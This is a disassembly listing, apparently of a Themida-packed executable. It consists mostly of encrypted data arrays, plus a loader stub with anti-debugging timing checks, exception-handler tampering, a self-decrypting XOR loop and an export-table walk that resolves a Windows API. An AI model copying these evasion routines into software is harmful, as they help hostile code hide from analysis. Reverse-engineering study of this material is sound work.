dd 75351532h, 9BD4FE4Ch, 0FB338699h, 0BAC09092h, 0CBE07731h
dd 62045182h, 0EB17F74Fh, 4A7812C3h, 9B1885F7h, 32AC7A37h
dd 7E5687B7h, 236CA5F9h, 0E6901435h, 0FD9BF236h, 0CF0A798Eh
dd 0EABBF0B3h, 0F296E5CDh, 0EB885D00h, 0C636CC31h, 9A15C44Bh
dd 970E3182h, 0A2B4A88Fh, 9CAB9FC9h, 75F14E1Bh, 84796CE2h
dd 72B487B8h, 8E79938Bh, 0A54F9ADAh, 775ED132h, 420448FFh
dd 3E5A3419h, 0C2F2F9F3h, 0E17DDE40h, 2B289D60h, 6D60CD1h
dd 0D07410EBh, 6B00F3A5h, 0E244D143h, 0DB643CA8h, 0CA8CD81Ah
dd 87AE61BFh, 563CB8F7h, 0A2E22C12h, 63AF4890h, 0EFCA6B9Ah
dd 7B536025h, 0CEA88346h, 0CFF2901Ch, 5E325D71h, 0B4A4F351h
dd 0B189B398h, 2A99C40Eh, 2ECA14B5h, 0A9B05CDFh, 9E9397CEh
dd 21480071h, 2338D9Ch, 7796A037h, 0E6D6D5CDh, 234F0871h
dd 4BED2BFAh, 0C254F1ABh, 0B62EBC59h, 12FEBCF7h, 1BC867FDh
dd 92FCA1ABh, 3E7086EAh, 0DF4A60D4h, 6E7A4D29h, 0F47CC319h
dd 0A141A350h, 5AD1D456h, 3E1247FDh, 0B9634C26h, 86E3A79Eh
dd 31903039h, 0F2F29D6Dh, 8713C1FCh, 0F61EC57Dh, 0EAB8F023h
dd 5BEFEA38h, 0D29CE10Bh, 46F6C42Bh, 4293C332h, 0EAC7B078h
dd 6334B83Bh, 1DEE94A9h, 0EC8E73D8h, 1872B525h, 0FD641E6Ch
dd 66BE0471h, 0BB32601Bh, 0E502FF23h, 44F181EAh, 0F69F84FFh
dd 0E9689BA5h, 0E729CC47h, 97DBE7E8h, 64635C5h, 7A80006Bh
dd 2121EEE1h, 0A0606D34h, 1ED5DCF9h, 22D4989Ah, 41AD3D42h
dd 5AD67BD7h, 59595594h, 0A3402536h, 0B0D94F5h, 8234B18Bh
dd 564E7C39h, 412F7616h, 47493C75h, 79E40B3Ch, 0CD266719h
dd 2A62E886h, 0A6DF3535h, 2374381Dh, 32DA97B0h, 627599B7h
dd 75F214CDh, 0E25E74BAh, 6EC3C731h, 2D70F019h, 0DEA35000h
dd 0C2C488AFh, 41ECC8D9h, 0AEDA1BDBh, 1D15F22Dh, 822E5CEAh
dd 2998C81h, 7AC08172h, 6EEA793Dh, 305123FFh, 65721967h
dd 62C7E61h, 0AB6D4431h, 32AC06D5h, 643EA958h, 914320EBh
dd 0D639287Dh, 894C7BB0h, 0EF66C83Ah, 61470F56h, 0CEA05C58h
dd 900F83F7h, 1AB3452Dh, 0B960D009h, 2B03BC37h, 0A2A4EA7Fh
dd 69F6EF42h, 8A081040h, 8AC06C1Dh, 0CFD787B8h, 66962EC9h
dd 0AE5688CDh, 0DB51AB3Ah, 42140A57h, 35267692h, 0E4733C09h
dd 1187CDEEh, 12AD781Fh, 5C5203C1h, 0F90000EAh, 0FE6848A0h
dd 9AE1EB3Fh, 7A7ECC2Bh, 4FA738AFh, 0BED2C41Fh, 99F8FE6Ah
dd 0B664D494h, 0CA56A33Bh, 718E378Dh, 3A190B70h, 76CE6CFBh
dd 2DC37B96h, 45A16B01h, 0B94C5836h, 0FEE3756Dh, 35A050C9h
dd 2ECB3930h, 5A712BDFh, 701E0C4Bh, 2FB728B2h, 0FE8E8152h
dd 0B217F887h, 0D285C7B3h, 2E96088Bh, 73232BFAh, 0C2548A97h
dd 0B68A3956h, 2F9BB083h, 9ED2E611h, 0D0941DD4h, 869D8C11h
dd 754CC700h, 6E6AB9D7h, 6AD3537Fh, 567ADFA6h, 8A6B50D3h
dd 2A5547FFh, 7044BD24h, 76342C41h, 58489584h, 9B4514B5h
dd 2F436FDh, 0F9CE79A3h, 0EA3847A6h, 0DEFE0D4Dh, 2DB0D877h
dd 0C62249AEh, 8460C0CBh, 258FBBE0h, 2934A81Fh, 0D5759D0Fh
dd 7F60C047h, 474D7B6Eh, 629EC07Ah, 657119F1h, 4A72DC9Eh
dd 36DF5745h, 0CB84582Dh, 26ECD81Ch, 11D8BBC3h, 0E40F868h
dd 29246A17h, 1614ECC4h, 0C7E9726Bh, 9EAAF495h, 0FD3CDFCDh
dd 5BFEDCE9h, 0BA32C5Dh, 0FC51C616h, 56F98377h, 0D3A6BCD3h
dd 8A1423B7h, 0CA75A51Ah, 6945942Bh, 0F3C1BF22h, 6A6832FBh
dd 2617EFEDh, 0BACC48F5h, 0B909B872h, 3A20E96Ah, 203FB435h
dd 50786F74h, 1ED92780h, 0F5F492BCh, 0F1BBFB22h, 0DE24A82h
dd 0C27A67CEh, 0F3F447DAh, 3165D485h, 802F2750h, 0D6CAF658h
dd 0E4F8B003h, 92C9641Eh, 56E91F73h, 0F969CC3h, 6A82402Eh
dd 0E653F9D5h, 611468D6h, 467C24ACh, 0EFCD3653h, 3D546F33h
dd 70972CE5h, 0DDA0EADDh, 4991E713h, 0B3A1425h, 8B64084Fh
dd 0A8D1003Fh, 7F47A760h, 0DEF2DAB3h, 0DD133036h, 0C637D6A4h
dd 0D034904Bh, 5175DE5Dh, 0B28A760Ah, 0C91E19C9h, 8B0D18FCh
dd 0F2DA841Dh, 9AA387A3h, 66866C60h, 1CC405C8h, 1DBF38ACh
dd 30712B8Ah, 77574870h, 66EDCF43h, 0E182342Fh, 2922A02h
dd 525385C1h, 120010A9h, 0EE2AF40Ch, 83008D6Ch, 0A131B902h
dd 0B9DAB5FDh, 0EEA2ADD5h, 0DB8AD195h, 0C341C97Dh, 0C7B8F73Bh
dd 66856B8Dh, 82A4889Ch, 139C19EAh, 18970490h, 37503468h
dd 37203141h, 11762906h, 0C5487F63h, 2ED8DC4Ah, 47A728DFh
dd 7D7D7D4Bh, 78186046h, 921B7234h, 0F2F99FE2h, 0EE404E6h
dd 0C2181F24h, 9D1AD405h, 0A32C8B4Ah, 0F80BDB37h, 0CCF1C4ECh
dd 0F7B0F4D4h, 0F780F1A1h, 0D116E966h, 85A77FC3h, 0E33E24AAh
dd 72A9F8FAh, 6DA36A9h, 0B5BF51B9h, 2E2CAE68h, 1600B127h
dd 1840B9AEh, 0DABA206Bh, 4FF2A928h, 52B408DFh, 66BB03A9h
dd 8238E01Eh, 0DE66E44Ch, 858DB223h, 84E2595Eh, 0D0B4C0DBh
dd 3BF5E3F1h, 0A224EA4Bh, 694A58CAh, 9ACADCC6h, 1C277B9Dh
dd 2DDC68F9h, 2EB3E132h, 0C30705Ah, 703CC1BAh, 0BA07487Fh
dd 8D2A3366h, 0A3D830C3h, 0E407C68h, 442C7217h, 38F499BEh
dd 3A05007Bh, 0EE0E709Ah, 22FFE8BFh, 0D5948CB9h, 0A229BA43h
dd 7E52C43Dh, 0F0E94731h, 25A6BCAFh, 1EDF5F43h, 8EFA92E2h
dd 0C0780D86h, 0FBC37C29h, 6A683203h, 1CCAF100h, 9D58A7h
dd 0B9A64C8Bh, 2A1E2E9Eh, 0D1B2B735h, 27A1AC50h, 16F41C89h
dd 4894A54Ch, 6B0D04CDh, 0F20CC66Dh, 0E9B914B2h, 0DA755EDFh
dd 0BE1F5D85h, 0F1C4D8EDh, 0E72DBF10h, 0AE72E153h, 0C2F75B7Ch
dd 6D6C8815h, 96A8CA14h, 750005ABh, 6EEFEE51h, 0EBDD5BFFh
dd 467C28ACh, 1B390153h, 31925B15h, 0A74368A7h, 26F6125Fh
dd 9E1FE07Eh, 0E3A1176h, 401C8DC6h, 4E4DFC69h, 0EAB88248h
dd 29DAAF46h, 0C2355C72h, 0C636CC21h, 0B966B56Bh, 0BE9ADCF0h
dd 0A1669B9Fh, 612F6B08h, 0E8D1912h, 0C632945Fh, 725C51C8h
dd 65BA27FAh, 4AA0081Eh, 4D0867C5h, 0B5F5BF2Eh, 4AABB5F8h
dd 0E9582001h, 18C99362h, 9F99FB6Eh, 0B1D91492h, 2A0314A8h
dd 0C6EB9F5Ch, 0D8D5383Ch, 0B817AB36h, 49B5A46Ah, 0CCD3C8C7h
dd 8EB73307h, 0A532EE9Ah, 0DEDDB079h, 578D6B2Dh, 79F49ACh
dd 76DE3EC9h, 4EACFB20h, 0D1E2571Dh, 524CE0B5h, 89FD8F61h
dd 872D4B60h, 2EDA75FDh, 112BA323h, 7722B0C0h, 70741641h
dd 0DE5E062Ah, 86C0C42Dh, 92E8D05Dh, 0AFF0DC06h, 45D337EDh
dd 9A01F52Eh, 0BD1ABC1Ch, 0F8DBE3BEh, 0AD47ABADh, 19136728h
dd 0CF41B102h, 0FE4FC365h, 91958B73h, 37D73F42h, 4D3A53E7h
dd 7717AF2Ch, 0C2107AAh, 0CD2CBC28h, 765BD3AEh, 15DF7428h
dd 0F1451121h, 0EA3F3B30h, 9F102D4h, 10D0E056h, 369D1BB1h
dd 2D732656h, 385A48AEh, 68D33F34h, 0AE0AA21Dh, 5D57401Fh
dd 96B663B6h, 0D7889073h, 4AA1691Ch, 883578D7h, 2066CF2h
dd 0EFBB52E4h, 4E4A163Dh, 24A6C10Bh, 6CE30218h, 293BB5CCh
dd 408924EDh, 74F21B2Bh, 430637C0h, 0F9538564h, 0AD5DF495h
dd 0E2F4E8A9h, 107BD3E9h
dd 3C28D010h, 0B150987Eh, 0B27F04E3h, 0AEE52791h, 3A700086h
dd 207E9B45h, 0BF24880Ch, 566E5C19h, 69DBF46Ch, 0D529648Dh
dd 52CC587Fh, 0AEA75A02h, 0C5DFAF83h, 6CF6B936h, 0EC77284Fh
dd 16DE7D0Ah, 0A8C7130h, 10C9F35h, 889EF7F8h, 6546EC32h
dd 0CA3220FEh, 8C11D485h, 0D28E43A7h, 0B29D7DF2h, 0AFF37030h
dd 0D4CB6C2Eh, 12E91147h, 85969CC3h, 7A788CE1h, 3FEA75D5h
dd 9DF2D617h, 0D4AB6CD6h, 0FB68406Ah, 0BD27745Dh, 58BC289Eh
dd 7E2FD2F1h, 0BEF83483h, 8BC5EBC3h, 0C0F0079Dh, 63BF1EAAh
dd 0EAA8C927h, 5B150126h, 0D21CE173h, 0C736CC21h, 3F97E23Fh
dd 0AE9A8DF1h, 0A2B4A89Ch, 335F90BCh, 8A18A977h, 85CD7BE2h
dd 0FFDD72ACh, 669655F5h, 52B0609Bh, 4EDA52ADh, 446C11EFh
dd 6E2E3C19h, 0D5BE66ABh, 6207AE92h, 94AC08AEh, 3FAA2645h
dd 7F8800FBh, 0EE3ACD69h, 67A308DDh, 0D66EE5EDh, 0CAA8D09Bh
dd 352CDC8h, 0B2EC8199h, 51E3D810h, 8A6924BEh, 8E7A9465h
dd 2BFFC87h, 66F70004h, 0DA8C75E3h, 675FD98Dh, 26495827h
dd 38CBCCC6h, 3FA050B2h, 0AB3DAAC1h, 22E4115Bh, 61E1C09h
dd 0B7C81947h, 0FE623D21h, 71158F85h, 0F6842814h, 7C18E0DBh
dd 26E52BF7h, 3DBB356Ch, 0B66CCDB1h, 0D6053B83h, 9DC2B4EFh
dd 82AE184Ah, 7A4D6401h, 0FE4F7FD4h, 6E6A7604h, 20ECDDF4h
dd 8355CB9h, 0A23653EFh, 0C1EDB9A1h, 3007BA28h, 6CE72C51h
dd 1A90405Fh, 5C449F45h, 169E0B99h, 11E86FAh, 0FA0174A6h
dd 0DE62E44Dh, 5B98AD57h, 0D6F4041Ch, 2A554DCBh, 250AA4CCh
dd 0B224C092h, 0C1FA6F49h, 8A82F4CAh, 7E07099Dh, 81DC68D7h
dd 8506DD54h, 0AD949319h, 5E63D0C0h, 4284486Fh, 982A33B9h
dd 0D5D830C3h, 0CFEA0C9Eh, 99D3E7FAh, 1614B4D4h, 0F552856Bh
dd 0EEAA6C11h, 9A6163BFh, 5DFECCABh, 80A9C059h, 0BE52A419h
dd 0BA369387h, 6F95AEE2h, 0A1C4D2B8h, 9EEAFC68h, 0EAA9030Fh
dd 44E6C29h, 4E44FB35h, 4ECAC10Eh, 0D1CC58A7h, 46F62446h
dd 40AB400Bh, 2600353Dh, 0D5F3DF5Ch, 54129902h, 8F3F10A3h
dd 0FEE23D59h, 0F21CF847h, 0FEB1EE45h, 0F37C9258h, 0A2F5DB5h
dd 49C4D8EDh, 86EF94AAh, 939C35F4h, 9E02A43Dh, 90189857h
dd 6EC79476h, 853F7C80h, 6DE69F8Ch, 103F408Ch, 0A5680D25h
dd 0C7310FF7h, 2EABD4C8h, 0FA01B1A7h, 0D5E63C93h, 154E7F5Fh
dd 89B78614h, 2640970h, 0CF0C6943h, 0ECCDF0B3h, 889A36A4h
dd 5B6ACAC3h, 0E1DE2571h, 0E09F3F91h, 0AD86FEFEh, 2743B8D5h
dd 96CEA54Dh, 0AA0890F3h, 0B37C590h, 0B6D1F154h, 65867C33h
dd 4AA0081Eh, 267DD7C5h, 420448EFh, 0BF067F32h, 2A5863C4h
dd 5E07D36Dh, 13AC08A8h, 72D60CC1h, 0F243C7ECh, 4E8A54B5h
dd 0DBD06DC8h, 0D67EDC79h, 0CDDCC093h, 49892CEFh, 39A64718h
dd 0B664689Ch, 1355433Bh, 8391BC2Eh, 0C0640504h, 742D7CA9h
dd 21737308h, 0DAA79325h, 514C480Eh, 32764C61h, 0F225CB9Fh
dd 2DCA24F7h, 32B69852h, 0BA9B1F09h, 0B480071h, 0EE388F55h
dd 0B0E07D0Ch, 0ACFFECA1h, 53F393D3h, 8C1BDC4Fh, 9A274B3Fh
dd 32EB3759h, 0C298A0C1h, 9EC28D3Dh, 0CBE4DAD6h, 0C46CF00h
dd 6A7902BEh, 0EAEF8355h, 62947846h, 229E5CA9h, 226553D5h
dd 881254EDh, 0B6B9CF27h, 26663C68h, 6F90227Bh, 0F97CEAB1h
dd 12DD8C4Ah, 0F20EFCF9h, 603E8523h, 0CE5B67F8h, 56092F77h
dd 0C6B6DC98h, 0CFE0C08Bh, 0AC0D3EFEh, 743602DDh, 9FB56BABh
dd 48BA97F9h, 9C648637h, 160E4B30h, 0E9624E7Ah, 0E7B33819h
dd 4E4A1619h, 0FD00476Fh, 0C951C363h, 3A9A4876h, 0AC97DBEDh
dd 0ED2C0829h, 161478F4h, 0DC15FF6Bh, 63AAE4ABh, 0F2968832h
dd 0BE6B51E9h, 9B28C051h, 4152AE6Fh, 0A23EE4D2h, 335391h
dd 65D0B085h, 9EB8C850h, 0A4B1770Fh, 0FB4E6C07h, 7A3938D6h
dd 6179B8Dh, 4CC48F5h, 7854D91Eh, 9FA3401Bh, 2E5A7669h
dd 229CEB5Fh, 4B9E1C89h, 0E74911D9h, 0FEE23C52h, 3313085Fh
dd 0F6536CB4h, 19B0655Bh, 3E651C06h, 424109A0h, 75EEACCCh
dd 8018A03Eh, 0F85ED12Dh, 9E48E4D6h, 95E3FDEDh, 850468CBh
dd 6B9F8B2Ah, 9DEEDD17h, 0A9ECB4D6h, 6409AFACh, 68EA6982h
dd 17042A93h, 46E62CD1h, 0E5EF8513h, 850361DAh, 8F542C0Bh
dd 0E6CFB4CCh, 0E2E87BA3h, 0D8D865ABh, 8429ABF5h, 3936CC49h
dd 0D0A44B4Bh, 51DAE675h, 0B28A5A0Ah, 9E1A1FC9h, 0B554AE72h
dd 7D47D822h, 9A58BEC4h, 99799613h, 0A54F1F73h, 0F619353Ah
dd 4204489Bh, 19968DF2h, 0C2583043h, 1E822470h, 0AAAC3855h
dd 6D60CF1h, 0FA001003h, 0EE0E3615h, 0E2556D87h, 0D67D3469h
dd 0E66AD093h, 9A8649BDh, 31D275EBh, 0BF5AACE9h, 9A50485Bh
dd 0DAF19465h, 9F9B8ABh, 1023FDA3h, 82F860DAh, 0A1DD84EAh
dd 52489A56h, 43704E62h, 5276478Ah, 0AE494FFDh, 119415FFh
dd 0FF8B0100h
db 89h, 0DBh
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
call sub_6179A7
mov eax, eax
call sub_617A5D
clc
jmp loc_6179E6
; =============== S U B R O U T I N E =======================================
sub_6179A7 proc near ; CODE XREF: Themida_:00617995p
push dword ptr fs:0
mov fs:0, esp
mov ds:dword_60D059, ebp
xor ecx, ecx
push 20h
push ecx
push 2
push 20h
push ecx
push ecx
push ecx
push ecx
push ecx
push 80000000h
push 80000000h
push 4
push ecx
call ds:dword_512000 ; CreateFileA
loc_6179E6: ; CODE XREF: Themida_:006179A2j
xchg ebx, ebx
mov ebp, 0F10B6EBAh
xchg ebx, ebx
jmp short $+2
mov esi, [ebp-8]
mov fs:0, esi
cld
sub eax, eax
loc_6179FD: ; CODE XREF: sub_6179A7+5Cj
dec al
or al, al
jz short loc_617A07
jnz short loc_6179FD
jmp short near ptr loc_617A6D+1
; ---------------------------------------------------------------------------
loc_617A07: ; CODE XREF: sub_6179A7+5Aj
cld
stc
stc
nop
call sub_617A53
cmc
sub ebx, 0FFFFFF94h
push ebx
sub edi, edi
xor edi, 2990h
jmp short $+2
stc
clc
cld
sub esi, esi
add esi, 48h
loc_617A2D: ; CODE XREF: sub_6179A7+9Bj
call loc_617A6B
clc
add ebx, 1
add si, 0A8h
dec edi
mov edx, edx
clc
cmp edi, 0
ja short loc_617A2D
pop ebx
clc
clc
cmc
leave
cmc
jmp short $+2
jmp ebx
sub_6179A7 endp
; ---------------------------------------------------------------------------
stc
jmp short $+2
jmp short $+2
; =============== S U B R O U T I N E =======================================
sub_617A53 proc near ; CODE XREF: sub_6179A7+64p
pop ebx
nop
nop
push ebx
retn
sub_617A53 endp
; ---------------------------------------------------------------------------
jmp short $+2
nop
clc
cld
; =============== S U B R O U T I N E =======================================
sub_617A5D proc near ; CODE XREF: Themida_:0061799Cp
arg_C = dword ptr 10h
mov ecx, [esp+arg_C]
xor eax, eax
pop dword ptr [ecx+0B8h]
retn
sub_617A5D endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 90h
; ---------------------------------------------------------------------------
loc_617A6B: ; CODE XREF: sub_6179A7:loc_617A2Dp
mov al, [ebx]
loc_617A6D: ; CODE XREF: sub_6179A7+5Ej
mov eax, eax
cmc
xor ax, si
xchg ebx, ebx
; ---------------------------------------------------------------------------
db 3 dup(0)
dd 215h dup(0)
dd offset loc_615000
dd 134Ch dup(0)
; ---------------------------------------------------------------------------
call $+5
mov eax, [esp]
cld
mov [eax+32C7h], ebx
mov ecx, [eax+297Fh]
mov ebx, [esp+4]
and ecx, 10000000h
jz short loc_61D04C
pop ecx
mov [eax+32CBh], esi
mov cl, [eax+2983h]
mov [eax+32CFh], edi
cmp cl, 0E8h
jz short loc_61D041
mov ebx, [eax+2985h]
jmp short loc_61D04A
; ---------------------------------------------------------------------------
loc_61D041: ; CODE XREF: Themida_:0061D037j
add ebx, [eax+2984h]
mov ebx, [ebx+2]
loc_61D04A: ; CODE XREF: Themida_:0061D03Fj
mov ebx, [ebx]
loc_61D04C: ; CODE XREF: Themida_:0061D01Fj
push ebp
mov ebp, eax
sub dword ptr [esp+4], 10005h
sub ebp, 101005h
mov edi, [esp+4]
lea esi, [ebp+103990h]
mov ecx, 0D4h
rep movsb
call sub_61D125
mov ecx, eax
call sub_61D125
sub eax, ecx
jz short loc_61D0F7
cmp eax, 100h
ja short loc_61D0F7
and ebx, 0FFFFF000h
loc_61D08B: ; CODE XREF: Themida_:0061D09Aj
cmp dword ptr [ebx+4Eh], 73696854h
jz short loc_61D09C
loc_61D094: ; CODE XREF: Themida_:0061D0A9j
sub ebx, 100h
jnz short loc_61D08B
loc_61D09C: ; CODE XREF: Themida_:0061D092j
mov eax, ebx
add eax, [ebx+3Ch]
mov edx, [eax+78h]
cmp word ptr [eax], 4550h
jnz short loc_61D094
add edx, ebx
mov esi, [edx+20h]
mov ecx, [edx+18h]
add esi, ebx
push ecx
loc_61D0B6: ; CODE XREF: Themida_:loc_61D0CAj
lodsd
add eax, ebx
cmp word ptr [eax+2], 5074h
jnz short loc_61D0CA
cmp dword ptr [eax+5], 6441636Fh
jz short loc_61D0CF
loc_61D0CA: ; CODE XREF: Themida_:0061D0BFj
loop loc_61D0B6
pop ecx
jmp short loc_61D0F7
; ---------------------------------------------------------------------------
loc_61D0CF: ; CODE XREF: Themida_:0061D0C8j
sub [esp], ecx
mov esi, [edx+24h]
pop ecx
add esi, ebx
movzx eax, word ptr [esi+ecx*2]
mov edi, [edx+1Ch]
add edi, ebx
mov esi, [edi+eax*4]
add esi, ebx
lea eax, [ebp+10113Fh]
mov dx, [eax-17h]
call sub_61D12A
jmp short loc_61D13F
; ---------------------------------------------------------------------------
loc_61D0F7: ; CODE XREF: Themida_:0061D07Cj
; Themida_:0061D083j ...
mov eax, [ebp+103984h]
and eax, 10000000h
jz short loc_61D123
mov edi, [esp+4]
lea esi, [ebp+103988h]
lodsd
mov ebx, [ebp+1042CCh]
stosd
movsb
mov edi, [ebp+1042D4h] ; CODE XREF: Themida_:0061D14Cj
mov esi, [ebp+1042D0h]
loc_61D123: ; CODE XREF: Themida_:0061D102j
pop ebp
retn
; =============== S U B R O U T I N E =======================================
sub_61D125 proc near ; CODE XREF: Themida_:0061D06Ep
; Themida_:0061D075p
rdtsc
retn
sub_61D125 endp
; ---------------------------------------------------------------------------
db 10h, 2Dh
; =============== S U B R O U T I N E =======================================
sub_61D12A proc near ; CODE XREF: Themida_:0061D0F0p
push ebx
mov ecx, 2845h
mov ebx, edx
loc_61D132: ; CODE XREF: sub_61D12A+11j
xor [eax], dl
sub dl, bl
xchg bl, bh
inc eax
xchg dl, dh
loop loc_61D132
pop ebx
retn
sub_61D12A endp
; ---------------------------------------------------------------------------
loc_61D13F: ; CODE XREF: Themida_:0061D0F5j
clc
and [eax], eax
add al, dh
nop
mov ecx, cs
mov ds:0DE2D881Ch, eax ; CODE XREF: Themida_:0061D1A3j
jnp short near ptr loc_61D117+3
xchg eax, edi
nop
xchg eax, esi
jg short near ptr loc_61D19F+2
stc
out dx, al
inc esi
add [eax+11h], al
test al, 0E9h
xor [edi+3862C920h], dh
popa
inc esp
xchg eax, ebp
inc esi
xchg eax, esi
mov bl, 0BEh
fld qword ptr [ecx+76B0E37Ch]
stosd
adc eax, 70D8BEDFh
jnb short near ptr loc_61D1E2+1
outsb
loc_61D177: ; CODE XREF: Themida_:0061D18Fj
push eax
inc ecx
pop es
jno short loc_61D1C0
stosd
inc ecx
leave
db 64h ; CODE XREF: Themida_:loc_61D1DCj
enter 1272h, 9Fh
inc ecx
loopne loc_61D1DC
das
cmovns ebp, [ecx]
sahf
inc ecx
mov al, 52h
js short loc_61D177
cmp eax, 70h
dec esi
mov al, ds:0BF2AD491h
mov ebx, 7FDF47CFh
loc_61D19F: ; CODE XREF: Themida_:0061D151j
db 3Eh
adc dword ptr [eax], 0FFFFFF90h
jnz short near ptr loc_61D147+1
out dx, eax
mov bl, 51h
or al, al
fdiv qword ptr [eax]
adc dl, [edi-7EAA7F69h]
pop ebp
db 64h
add al, 0D5h
add dl, [edx]
mov cl, 40h
mov bh, [ebp+100A3570h]
loc_61D1C0: ; CODE XREF: Themida_:0061D17Aj
bound eax, [ebp-1F7C1AB0h]
; ---------------------------------------------------------------------------
dw 0D78Dh
; ---------------------------------------------------------------------------
mov edx, 0CFA59C65h
loc_61D1CD: ; CODE XREF: Themida_:0061D205j
mov al, ds:2013B2h
dec ebp
pusha
sub esp, [eax+7Dh]
cmc
push ebp
push ebp
mov ah, 30h
loc_61D1DC: ; CODE XREF: Themida_:0061D185j
ja short near ptr loc_61D17F+2
out dx, eax
cwde
or [eax], dl
loc_61D1E2: ; CODE XREF: Themida_:0061D174j
db 0F0h
lock xchg eax, esp
adc ecx, es:[ebx+edi*2]
sar byte ptr [ecx+esi*4], 1
xchg dl, ds:80A5AED0h
add eax, 3E75A7C5h ; CODE XREF: Themida_:0061D203j
push eax
xor cl, [ecx+1E998D59h]
push 10h
cld
and al, cl
jge short near ptr loc_61D1F2+3
loopne loc_61D1CD
; ---------------------------------------------------------------------------
db 8Fh
dd 8E125566h, 78D3A02Fh, 0A43C8FFAh, 0DB5E608Bh, 706E5476h
dd 10C2E3D4h, 7958006Dh, 0C0C8D6A6h, 0C270A8C9h, 9028A06Fh
dd 4E5E15EAh, 900B60ABh, 32DAC46Eh, 9D4D2007h, 0E0900018h
dd 69C96B53h, 0B0CCCC42h, 80724D1Eh, 0E5958055h, 50AE72B7h
dd 0D29BE562h, 9B2ACCB4h, 0C3B86A21h, 45DBB943h, 0B0ECDB6Ch
dd 6C290B3Ch, 8E58D7FCh, 38B97C5Ch, 309540C2h, 2E0CB598h
dd 3463001Dh, 0DF466593h, 0B02E5FDDh, 90B837FFh, 701081CFh
dd 389E604Fh, 30C540F1h, 2E5CB568h, 3095002Dh, 0D23464ECh
dd 0B036C089h, 9002C87Fh, 70C280D1h, 74288BAh, 58A4414Bh
dd 109B20C6h, 0CE769592h, 0DA8EE003h, 4F8CC1B9h, 800C96CAh
dd 70DD6805h, 19760ABh, 5A244053h, 1A2979F7h, 658F0AF7h
dd 0D006DEE9h, 337F3102h, 805CF632h, 0F4078035h, 50AE62EFh
dd 30544669h, 54AE6E27h, 0FA04C81h, 0C07892E6h, 66594D19h
dd 0A392B0A8h, 0CE850DACh, 0E1DE7035h, 456CD3BFh, 932A2055h
dd 0E0EEF240h, 5479E0A3h, 0B01CC249h, 0AE002564h, 978085h
dd 8B8BEF3Ah, 0BBB450D9h, 64FA02h, 0F170FF2Dh, 0E98E655Ch
dd 35C7C069h, 90E29ED9h, 0FF99F03Ah, 40074FEEh, 0FA69CB11h
dd 0F38A3089h, 0F141FF47h, 0E9EA658Ch, 3DF7C0B9h, 90329E9Dh
dd 1378916h, 19EBEF9Ah, 0D8145078h, 10BA215Fh, 0CF28BD00h
dd 1F8DE023h, 695AC0B3h, 1356D080h, 309283C4h, 3AC999C8h
dd 0BD5C2A71h, 0FFC3A2h, 0F089B9BDh, 0D4BBE063h, 4F233E44h
dd 1D29C650h, 7028CD51h, 0FBA860FBh, 9B70072Ch, 8597C475h
dd 0F0D03D19h, 0D2EF863Fh, 728F6B5Fh, 1B4742DDh, 1858EA51h
dd 50FE12C7h, 30CE8C5Ah, 1020E4FCh, 0F0F00075h, 81D68ACBh
dd 0E032AA3Bh, 0AE2C35F0h, 0F3D080A5h, 0BC46209Fh, 0BBD44073h
dd 9B7A4A73h, 9A606A81h, 82C48AF3h, 5C04C0F3h, 0FA12A04Dh
dd 8FD2D1E5h, 86CB9FDBh, 6F04500Fh, 1F55A58Eh, 0F05107F9h
dd 0D0436D23h, 99CD0D9h, 9042ACD4h, 0D51B6F9Eh, 408E8D3Ah
dd 0B5B94071h, 10CA3445h, 0A4D0E052h, 2F4CC039h, 8E125506h
dd 50F7A08Fh, 982CF51Ah, 50BE61A4h, 30645179h, 546F7337h
dd 97C562B8h, 0A63F92D3h, 0D799AC40h, 78F5A0AAh, 70488525h
dd 12A2D5E4h, 0A56B40D1h, 102A1E05h, 0D675FF5Ah, 0BA86F08Dh
dd 4F2EAA59h, 80ECF66Ah, 715039A5h, 7B89604Bh, 14C8C910h
dd 859577C3h, 0F0003EA7h, 753516D0h, 0B04CFFBFh, 6F55F42Fh
dd 60961E40h, 248EE57Bh, 0CE770647h, 0EF7452C3h, 9A482419h
dd 2FCC8A13h, 0A0B2562Ch, 0E4F2255Fh, 0F83013D9h, 637E60AEh
dd 0AC7D198h, 2FFCA5CEh, 0C205008Dh, 0F4329CC2h, 0C3CEB38Ah
dd 51E388FBh, 70088E92h, 6FE348Bh, 630410D0h, 2EB4B5D8h
dd 302500DDh, 2F49942Ah, 3FE4E46Dh, 80AD963Ah, 8DFD6865h
dd 0AF8D9FF4h, 20BA6624h, 91A4CB57h, 0F0D12839h, 4589B7A3h
dd 0B00CFE6Fh, 0AEE43510h, 0B0818085h, 50F19FC0h, 5AB42ABBh
dd 7A5A4A87h, 0F001682Dh, 142DE0D7h, 0DA1CC013h, 6F362B13h
dd 2FE0D627h, 633E605Fh, 0CF3EA8D8h, 8507DF48h, 0F020150Ch
dd 8087B151h, 8E565556h, 54A1A05Fh, 8F4343D5h, 503638C3h
dd 301472ADh, 10BA2E8Ch, 0F060008Ch, 0D006E033h, 0B0ACC0D9h
dd 905289FBh, 70F88025h, 0AFCD369Ah, 207A72E4h, 0BCB38B17h
dd 0BE5C039h, 5DF50E81h, 0A0C5BD9Ch, 57DF2AFh, 7038BEDFh
dd 1282E572h, 269C40B1h, 5C1A2047h, 85AB6F82h, 0B914B0E3h
dd 0D560A94Fh, 0F1E4C5B8h, 313DF5E9h, 0C501302Bh, 30B47EE3h
dd 521AA5FEh, 0AC33000Dh, 0B5E58181h, 0D551A127h, 0FA80EF6Bh
dd 3FCE3D0h, 35A3607h, 30A02364h, 620E53CBh, 0F04E6521h
dd 0B1A392B0h, 0D92AA5EDh, 9053C553h, 11DDF2A6h, 391805FFh
dd 5149255Dh, 7EC350A7h, 0B350411Ah, 0A4978551h, 0DFEE90ACh
dd 0E331C50Ch, 2AB8054h, 35FA01DEh, 5F592533h, 788E4573h
dd 94E165DFh, 0B554A353h, 0E4A9B498h, 0F117D2F7h, 25B8021h
dd 35CA018Eh, 5C0B2FC5h, 6066455Fh, 9EE332EEh, 0B82590E2h
dd 0F5FCB446h, 0C4D6C9B7h, 112DF21Dh, 39A8607Fh, 59C025ADh
dd 7F6E450Ah, 8493795Eh, 0B9D28DD6h, 0F62CA534h, 0DCB7C58Dh
dd 110AE2CCh, 171E1939h, 59823494h, 642B45FBh, 92797249h
dd 0A3D39496h, 0D51BC0C8h, 0FC6BE65Bh, 0AC1D3B0h, 3509601Eh
dd 5C9D0655h, 7DF374A2h, 95070008h, 0B489AD67h, 0F8E9ACCCh
dd 0FC56CE3Eh, 37D8C160h, 352A14CEh, 5962303Ch, 7184459Bh
